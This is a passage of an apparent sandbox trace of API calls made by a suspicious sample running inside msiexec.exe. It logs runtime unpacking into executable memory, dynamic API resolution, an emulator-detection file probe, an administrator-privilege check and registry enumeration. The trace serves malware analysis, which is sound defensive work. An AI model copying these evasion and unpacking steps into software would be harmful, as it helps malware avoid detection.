lpDCB=0x21f4c0 | out: lpDCB=0x21f4c0) returned 0 [0208.821] PlayEnhMetaFileRecord (hdc=0xeea41c, pht=0x21f4bc, pmr=0x21f4a8, cht=0x353) returned 0 [0208.821] CloseClipboard () returned 0 [0208.821] CoUninitialize () [0208.821] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="MutexHelper") returned 0xa0 [0208.822] ReleaseMutex (hMutex=0xa0) returned 0 [0208.822] CloseHandle (hObject=0xa0) returned 1 [0208.822] GetLocalTime (in: lpSystemTime=0x21f75c | out: lpSystemTime=0x21f75c*(wYear=0x7e3, wMonth=0xb, wDayOfWeek=0x5, wDay=0x8, wHour=0x5, wMinute=0x18, wSecond=0x15, wMilliseconds=0x2b)) [0208.822] LdrGetProcedureAddress (in: BaseAddress=0x77000000, Name="VirtualAlloc", Ordinal=0x0, ProcedureAddress=0x21f1dc | out: ProcedureAddress=0x21f1dc*=0x77011856) returned 0x0 [0208.822] VirtualAlloc (lpAddress=0x0, dwSize=0x16000, flAllocationType=0x1000, flProtect=0x4) returned 0x240000 [0208.919] LdrGetProcedureAddress (in: BaseAddress=0x77000000, Name="VirtualAlloc", Ordinal=0x0, ProcedureAddress=0x21f1dc | out: ProcedureAddress=0x21f1dc*=0x77011856) returned 0x0 [0208.919] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x1000, flProtect=0x40) returned 0xd0000 [0208.920] LdrGetProcedureAddress (in: BaseAddress=0x77000000, Name="LoadLibraryA", Ordinal=0x0, ProcedureAddress=0x21f274 | out: ProcedureAddress=0x21f274*=0x770149d7) returned 0x0 [0208.920] LdrGetProcedureAddress (in: BaseAddress=0x77000000, Name="GetProcAddress", Ordinal=0x0, ProcedureAddress=0x21f274 | out: ProcedureAddress=0x21f274*=0x77011222) returned 0x0 [0208.920] LdrGetProcedureAddress (in: BaseAddress=0x77000000, Name="VirtualAlloc", Ordinal=0x0, ProcedureAddress=0x21f274 | out: ProcedureAddress=0x21f274*=0x77011856) returned 0x0 [0208.920] LdrGetProcedureAddress (in: BaseAddress=0x77000000, Name="VirtualProtect", Ordinal=0x0, ProcedureAddress=0x21f274 | out: ProcedureAddress=0x21f274*=0x7701435f) returned 0x0 [0208.920] LoadLibraryA (lpLibFileName="KERNEL32.dll") returned 0x77000000 [0208.921] GetProcAddress (hModule=0x77000000, lpProcName="FlsFree") returned 0x7701359f [0208.921] GetProcAddress (hModule=0x77000000, lpProcName="SetUnhandledExceptionFilter") returned 0x770187c9 [0208.921] VirtualProtect (in: lpAddress=0xac0000, dwSize=0x46000, flNewProtect=0x40, lpflOldProtect=0x21f328 | out: lpflOldProtect=0x21f328*=0x2) returned 1 [0208.978] VirtualAlloc (lpAddress=0x0, dwSize=0x18000, flAllocationType=0x1000, flProtect=0x40) returned 0x260000 [0208.981] LoadLibraryA (lpLibFileName="KERNEL32.dll") returned 0x77000000 [0208.981] GetProcAddress (hModule=0x77000000, lpProcName="CreateFileW") returned 0x77013f5c [0208.981] GetProcAddress (hModule=0x77000000, lpProcName="ExitProcess") returned 0x77017a10 [0208.981] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x0) returned 0x0 [0209.826] CreateFileW (lpFileName="C:\\aaa_TouchMeNot_.txt" (normalized: "c:\\aaa_touchmenot_.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0209.839] RtlCreateHeap (Flags=0x2, HeapBase=0x0, ReserveSize=0x0, CommitSize=0x1234, Lock=0x0, Parameters=0x0) returned 0x970000 [0209.849] RtlAllocateHeap (HeapHandle=0x970000, Flags=0x8, Size=0x104) returned 0x9707d0 [0209.849] RtlAllocateHeap (HeapHandle=0x970000, Flags=0x8, Size=0x80) returned 0x9708e0 [0209.849] RtlAllocateHeap (HeapHandle=0x970000, Flags=0x8, Size=0x80) returned 0x970968 [0209.849] RtlAllocateHeap (HeapHandle=0x970000, Flags=0x8, Size=0x80) returned 0x9709f0 [0209.849] RtlAllocateHeap (HeapHandle=0x970000, Flags=0x8, Size=0x80) returned 0x970a78 [0209.849] RtlAllocateHeap (HeapHandle=0x970000, Flags=0x8, Size=0x80) returned 0x970b00 [0209.849] RtlAllocateHeap (HeapHandle=0x970000, Flags=0x8, Size=0x80) returned 0x970b88 [0209.849] RtlAllocateHeap (HeapHandle=0x970000, Flags=0x8, Size=0x80) returned 0x970c10 [0209.849] RtlAllocateHeap (HeapHandle=0x970000, Flags=0x8, Size=0x80) returned 0x970c98 [0209.849] RtlAllocateHeap (HeapHandle=0x970000, Flags=0x8, Size=0x80) returned 0x970d20 [0209.849] RtlAllocateHeap (HeapHandle=0x970000, Flags=0x8, Size=0x80) returned 0x970da8 [0209.849] RtlAllocateHeap (HeapHandle=0x970000, Flags=0x8, Size=0x80) returned 0x970e30 [0209.849] RtlAllocateHeap (HeapHandle=0x970000, Flags=0x8, Size=0x80) returned 0x970eb8 [0209.849] RtlAllocateHeap (HeapHandle=0x970000, Flags=0x8, Size=0x80) returned 0x970f40 [0209.849] RtlAllocateHeap (HeapHandle=0x970000, Flags=0x8, Size=0x80) returned 0x970fc8 [0209.849] RtlAllocateHeap (HeapHandle=0x970000, Flags=0x8, Size=0x80) returned 0x971050 [0209.849] RtlAllocateHeap (HeapHandle=0x970000, Flags=0x8, Size=0x80) returned 0x9710d8 [0209.849] RtlAllocateHeap (HeapHandle=0x970000, Flags=0x8, Size=0x400) returned 0x971160 [0209.850] RtlCreateHeap (Flags=0x2, HeapBase=0x0, ReserveSize=0x0, CommitSize=0x1234, Lock=0x0, Parameters=0x0) returned 0x920000 [0209.850] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x80) returned 0x9207d0 [0209.850] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x80) returned 0x920858 [0209.850] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x80) returned 0x9208e0 [0209.850] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x184) returned 0x920968 [0209.850] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x920af8 [0209.850] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x920b40 [0209.850] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x920b88 [0209.850] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x920bd0 [0209.850] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x920c18 [0209.850] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x920c60 [0209.850] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x920ca8 [0209.850] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x920cf0 [0209.850] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x920d38 [0209.850] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x920d80 [0209.850] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x920dc8 [0209.850] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x920e10 [0209.850] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x920e58 [0209.850] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x920ea0 [0209.850] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x920ee8 [0209.850] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x920f30 [0209.850] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x21ee70, nSize=0x1000 | out: lpFilename="C:\\Windows\\system32\\msiexec.exe" (normalized: "c:\\windows\\system32\\msiexec.exe")) returned 0x1f [0209.852] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x920f78 [0209.852] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x2c) returned 0x92b828 [0209.858] GetVersionExW (in: lpVersionInformation=0x21f490*(dwOSVersionInfoSize=0x11c, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x21f490*(dwOSVersionInfoSize=0x11c, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0209.858] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x21f478 | out: Wow64Process=0x21f478) returned 1 [0209.859] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x21f454 | out: TokenHandle=0x21f454*=0xa0) returned 1 [0209.859] GetTokenInformation (in: TokenHandle=0xa0, TokenInformationClass=0x2, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x21f450 | out: TokenInformation=0x0, ReturnLength=0x21f450) returned 0 [0209.859] GetLastError () returned 0x7a [0209.859] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x140) returned 0x92b860 [0209.859] GetTokenInformation (in: TokenHandle=0xa0, TokenInformationClass=0x2, TokenInformation=0x92b860, TokenInformationLength=0x104, ReturnLength=0x21f450 | out: TokenInformation=0x92b860, ReturnLength=0x21f450) returned 1 [0209.859] AllocateAndInitializeSid (in: pIdentifierAuthority=0x21f460, nSubAuthorityCount=0x2, nSubAuthority0=0x20, nSubAuthority1=0x220, nSubAuthority2=0x0, nSubAuthority3=0x0, nSubAuthority4=0x0, nSubAuthority5=0x0, nSubAuthority6=0x0, nSubAuthority7=0x0, pSid=0x21f458 | out: pSid=0x21f458*=0x372830*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0))) returned 1 [0209.859] EqualSid (pSid1=0x372830*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), pSid2=0x92b8bc*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x4000)) returned 0 [0209.859] EqualSid (pSid1=0x372830*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), pSid2=0x92b8c8*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x1), SubAuthority=0x0)) returned 0 [0209.859] EqualSid (pSid1=0x372830*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), pSid2=0x92b8d4*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0))) returned 0 [0209.859] EqualSid (pSid1=0x372830*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), pSid2=0x92b8e4*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0x6)) returned 0 [0209.859] EqualSid (pSid1=0x372830*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), pSid2=0x92b8f0*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x2), SubAuthority=0x1)) returned 0 [0209.859] EqualSid (pSid1=0x372830*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), pSid2=0x92b8fc*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0xb)) returned 0 [0209.859] EqualSid (pSid1=0x372830*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), pSid2=0x92b908*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0xf)) returned 0 [0209.859] EqualSid (pSid1=0x372830*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), pSid2=0x92b914*(Revision=0x1, SubAuthorityCount=0x6, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x50, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x6c, [5]=0x5d))) returned 0 [0209.859] EqualSid (pSid1=0x372830*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), pSid2=0x92b934*(Revision=0x1, SubAuthorityCount=0x3, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x5, [1]=0x0, [2]=0x0))) returned 0 [0209.859] EqualSid (pSid1=0x372830*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), pSid2=0x92b948*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x2), SubAuthority=0x0)) returned 0 [0209.859] EqualSid (pSid1=0x372830*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), pSid2=0x92b954*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0))) returned 1 [0209.859] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92b860) returned 1 [0209.859] NtClose (Handle=0xa0) returned 0x0 [0209.859] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92b860 [0209.861] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x80) returned 0x92b8a8 [0209.862] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x280) returned 0x92b930 [0209.862] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0209.915] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0x92b930, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0209.915] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x80) returned 0x92bbb8 [0209.915] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0209.915] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92bc58 [0209.916] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x92bc58, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bcd00000000", lpUsedDefaultChar=0x0) returned 11 [0209.916] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92bca0 [0209.916] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92bc58) returned 1 [0209.916] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92bca0) returned 1 [0209.916] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92bbb8) returned 1 [0209.916] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0x92b930, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0209.916] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x80) returned 0x92bbb8 [0209.916] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0209.916] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92bca0 [0209.916] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x92bca0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware", lpUsedDefaultChar=0x0) returned 8 [0209.916] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92bc58 [0209.916] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92bca0) returned 1 [0209.916] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92bc58) returned 1 [0209.916] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92bbb8) returned 1 [0209.916] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0x92b930, cchName=0x104 | out: lpName="SAM") returned 0x0 [0209.916] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x80) returned 0x92bbb8 [0209.916] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0209.916] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92bc58 [0209.916] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x92bc58, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sam", lpUsedDefaultChar=0x0) returned 3 [0209.916] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92bca0 [0209.916] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92bc58) returned 1 [0209.916] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92bca0) returned 1 [0209.916] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92bbb8) returned 1 [0209.916] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0x92b930, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0209.916] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x80) returned 0x92bbb8 [0209.916] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0209.916] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92bca0 [0209.916] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x92bca0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="security", lpUsedDefaultChar=0x0) returned 8 [0209.916] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92bc58 [0209.916] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92bca0) returned 1 [0209.916] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92bc58) returned 1 [0209.916] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92bbb8) returned 1 [0209.916] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0x92b930, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0209.917] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x80) returned 0x92bbb8 [0209.917] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0209.917] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92bc58 [0209.917] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x92bc58, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0209.917] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92bca0 [0209.917] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92bc58) returned 1 [0209.917] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92bca0) returned 1 [0209.917] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92bbb8) returned 1 [0209.917] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE", ulOptions=0x0, samDesired=0x20109, phkResult=0x21f3e8 | out: phkResult=0x21f3e8*=0xa0) returned 0x0 [0209.917] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x184) returned 0x92d040 [0209.917] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92bca0 [0209.917] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92bc58 [0209.917] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92bce8 [0209.917] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92bd30 [0209.917] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92bd78 [0209.917] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92bdc0 [0209.917] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92be08 [0209.917] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92be50 [0209.917] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92be98 [0209.917] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92bee0 [0209.917] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92bf28 [0209.917] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92bf70 [0209.917] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92bfb8 [0209.917] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c000 [0209.917] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c048 [0209.917] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c090 [0209.917] RegCloseKey (hKey=0x80000002) returned 0x0 [0209.917] RegEnumKeyW (in: hKey=0xa0, dwIndex=0x0, lpName=0x92b930, cchName=0x104 | out: lpName="ATI Technologies") returned 0x0 [0209.917] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x80) returned 0x92bbb8 [0209.917] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ati technologies", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0209.917] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c0d8 [0209.917] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ati technologies", cchWideChar=16, lpMultiByteStr=0x92c0d8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ati technologies", lpUsedDefaultChar=0x0) returned 16 [0209.917] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c120 [0209.918] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c0d8) returned 1 [0209.918] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c120) returned 1 [0209.918] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92bbb8) returned 1 [0209.918] RegEnumKeyW (in: hKey=0xa0, dwIndex=0x1, lpName=0x92b930, cchName=0x104 | out: lpName="CBSTEST") returned 0x0 [0209.918] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x80) returned 0x92bbb8 [0209.918] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cbstest", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0209.918] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c120 [0209.918] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cbstest", cchWideChar=7, lpMultiByteStr=0x92c120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cbstest", lpUsedDefaultChar=0x0) returned 7 [0209.918] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c0d8 [0209.918] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c120) returned 1 [0209.918] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c0d8) returned 1 [0209.918] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92bbb8) returned 1 [0209.918] RegEnumKeyW (in: hKey=0xa0, dwIndex=0x2, lpName=0x92b930, cchName=0x104 | out: lpName="Classes") returned 0x0 [0209.918] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x80) returned 0x92bbb8 [0209.918] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="classes", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0209.918] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c0d8 [0209.918] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="classes", cchWideChar=7, lpMultiByteStr=0x92c0d8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="classes", lpUsedDefaultChar=0x0) returned 7 [0209.918] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c120 [0209.918] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c0d8) returned 1 [0209.918] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c120) returned 1 [0209.918] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92bbb8) returned 1 [0209.918] RegEnumKeyW (in: hKey=0xa0, dwIndex=0x3, lpName=0x92b930, cchName=0x104 | out: lpName="Clients") returned 0x0 [0209.918] 